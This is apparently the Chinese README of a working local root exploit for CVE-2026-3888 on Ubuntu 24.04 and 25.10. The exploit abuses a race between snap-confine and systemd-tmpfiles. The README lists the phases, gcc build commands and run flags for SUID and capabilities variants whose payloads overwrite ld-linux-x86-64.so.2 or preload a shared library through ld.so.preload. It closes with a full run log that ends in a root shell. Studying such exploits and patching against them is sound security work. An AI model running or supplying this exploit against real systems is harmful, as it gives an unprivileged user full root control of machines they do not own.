本地权限提升漏洞利用程序,针对 Ubuntu 上的 CVE-2026-3888,攻击 snap-confine 和 systemd-tmpfiles,提供 SUID 和 capabilities 变体以实现 root 访问权限。
通过利用 snap-confine 与 systemd-tmpfiles 之间的 TOCTOU 竞态条件,在 Ubuntu Desktop 24.04+ 上实现从非特权用户到完全 root 的本地权限提升。提供两种变体:SUID 和 Capabilities。
CVSS: 7.8(高危) | 公告: Qualys | 补丁: snapd 2.74.2,2026年3月17日
| Ubuntu 24.04 (SUID) | Ubuntu 25.10 (Capabilities) | |
|---|---|---|
| snap-confine | SUID-root | Capabilities(cap_sys_admin 等) |
| 目标 snap | firefox | snap-store |
| 模拟目标 | /usr/lib/x86_64-linux-gnu(约285个条目) | /var/lib(约17个条目) |
| 利用向量 | 用 shellcode 覆盖 ld-linux-x86-64.so.2 | 控制 user-fstab + ld.so.preload |
| 载荷格式 | 带原始系统调用的静态 ELF | 带 __attribute__((constructor)) 的共享库 |
| root 触发方式 | SUID snap-confine 加载被投毒的动态链接器 | /tmp/.snap 中的 SUID su 预加载 .so |
| cgroup 要求 | 任意 snap.* 名称 | 精确匹配:snap.snap-store.hook.configure |
.snap 清理周期 | 30 天 | 10 天 |
| 沙箱逃逸 | /var/snap/firefox/common/bash | /var/snap/snap-store/common/bash |
systemd-tmpfiles 删除 /tmp 下过期的 .snap 模拟目录(30天过期)snap-confine,在模拟 bind-mount 序列期间可靠地赢得竞态ld-linux-x86-64.so.2 被替换为调用 setreuid(0,0) + execve 的 shellcodesnap-confine 以 root 权限触发 shellcode/var/snap/firefox/common/ 以逃逸沙箱| 文件 | 描述 |
|---|---|
exploit_suid.c | 统一单二进制利用程序——基于 fork 的编排器中包含全部 7 个阶段 |
librootshell_suid.c | 载荷——通过原始 x86_64 系统调用替换 ld-linux-x86-64.so.2 的最小 ELF |
gcc -O2 -static -o exploit exploit_suid.c
gcc -nostdlib -static -Wl,--entry=_start -o librootshell.so librootshell_suid.c
两者必须在 x86_64 Linux 上编译(或交叉编译)。exploit 是静态链接的,因此可以在 snap 沙箱内运行而无需库依赖。librootshell.so 使用 -nostdlib,因为它只包含原始系统调用——没有 libc。
./exploit <librootshell.so> [-d] [-s]
| 标志 | 描述 |
|---|---|
-d | 显示 snap-confine 调试输出(详细模式) |
-s | 跳过 .snap 清理等待(需要 root 密码) |
# 正常运行
./exploit ./librootshell.so
# 调试模式
./exploit ./librootshell.so -d
# 失败后重试
./exploit ./librootshell.so -s
利用程序进入沙箱,等待 systemd-tmpfiles 删除 .snap(在原生 Ubuntu 25.10 上最多 10 天,在原生 Ubuntu 24.04 上最多 30 天),然后自动运行竞态。成功后,进入 root shell。
snap-confine 必须为 SUID-root(-rwsr-xr-x 1 root root /usr/lib/snapd/snap-confine)systemd-tmpfiles-clean.timer 处于活动状态busybox(/usr/bin/busybox)user@ubuntu:~$ snap --version
snap 2.63.1+24.04
snapd 2.63.1+24.04
series 16
ubuntu 24.04
kernel 6.17.0-19-generic
user@ubuntu:~$ cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.4 LTS"
user@ubuntu:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),116(lpadmin)
user@ubuntu:~$ ./exploit ./librootshell.so
================================================================
CVE-2026-3888 — snap-confine / systemd-tmpfiles SUID LPE
================================================================
[*] Payload: /home/user/./librootshell.so (9056 bytes)
[Phase 1] Entering Firefox sandbox...
[+] Inner shell PID: 3122
[Phase 2] Waiting for .snap deletion...
[*] Polling (up to 30 days on stock Ubuntu).
[*] Hint: use -s to skip.
[+] .snap deleted.
[Phase 3] Destroying cached mount namespace...
cannot perform operation: mount --rbind /dev /tmp/snap.rootfs_sygTaK//dev: No such file or directory
[+] Namespace destroyed.
[Phase 4] Setting up and running the race...
[*] Working directory: /proc/3122/cwd
[*] Building .snap and .exchange...
[*] 285 entries copied to exchange directory
[*] Starting race...
[*] Monitoring snap-confine (child PID 3543)...
[!] TRIGGER — swapping directories...
[+] SWAP DONE — race won!
[*] ld-linux in namespace: user:user 755
[+] Poisoned namespace PID: 3543
[Phase 5] Injecting payload into poisoned namespace...
[+] ld-linux owned by uid 1000 (attacker). Race confirmed.
[*] Planting busybox...
[*] Writing escape script → /tmp/sh
[*] Overwriting ld-linux-x86-64.so.2...
[+] Payload injected.
[Phase 6] Triggering root via SUID snap-confine...
[*] snap-confine → snap-confine (SUID trigger)
[*] Exit status: 0
[Phase 7] Verifying...
[+] SUID root bash: /var/snap/firefox/common/bash (mode 4755)
[*] Cleaning up background processes...
================================================================
ROOT SHELL: /var/snap/firefox/common/bash -p
================================================================
bash-5.1# id
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),116(lpadmin)
systemd-tmpfiles 删除 /tmp 下过期的 .snap 模拟目录snap-confine,在 /var/lib 模拟 bind-mount 序列期间可靠地赢得竞态/var/lib/snapd/mount/snap.snap-store.user-fstab 的控制权user-fstab 条目将带 ld.so.preload 的投毒 /etc bind-mount 进沙箱/tmp/.snap 的 SUID-root su 二进制文件,预加载调用 setreuid(0,0) + execve("/tmp/sh") 的 librootshell.so/var/snap/snap-store/common/ 以逃逸沙箱| 文件 | 描述 |
|---|---|
exploit_caps.c | 统一单二进制利用程序——基于 fork 的编排器中包含全部 7 个阶段 |
librootshell_caps.c | 载荷——带构造函数(调用 setreuid(0,0) + execve)的共享库 |
gcc -O2 -static -o exploit exploit_caps.c
gcc -shared -fPIC -nostartfiles -o librootshell.so librootshell_caps.c
两者必须在 x86_64 Linux 上编译(或交叉编译)。exploit 是静态链接的,因此可以在 snap 沙箱内运行而无需库依赖。librootshell.so 使用 -nostartfiles 和 __attribute__((constructor))——它通过 ld.so.preload 在目标二进制文件的 main() 之前被加载。
./exploit <librootshell.so> [-d] [-s]
| 标志 | 描述 |
|---|---|
-d | 显示 snap-confine 调试输出(详细模式) |
-s | 跳过 .snap 清理等待(当 .snap 已不存在时使用) |
# 正常运行
./exploit ./librootshell.so
# 调试模式
./exploit ./librootshell.so -d
# 跳过等待(重试)
./exploit ./librootshell.so -s
利用程序进入沙箱,等待 systemd-tmpfiles 删除 .snap(在原生 Ubuntu 25.10 上最多 10 天,在原生 Ubuntu 24.04 上最多 30 天),然后自动运行竞态。成功后,进入 root shell。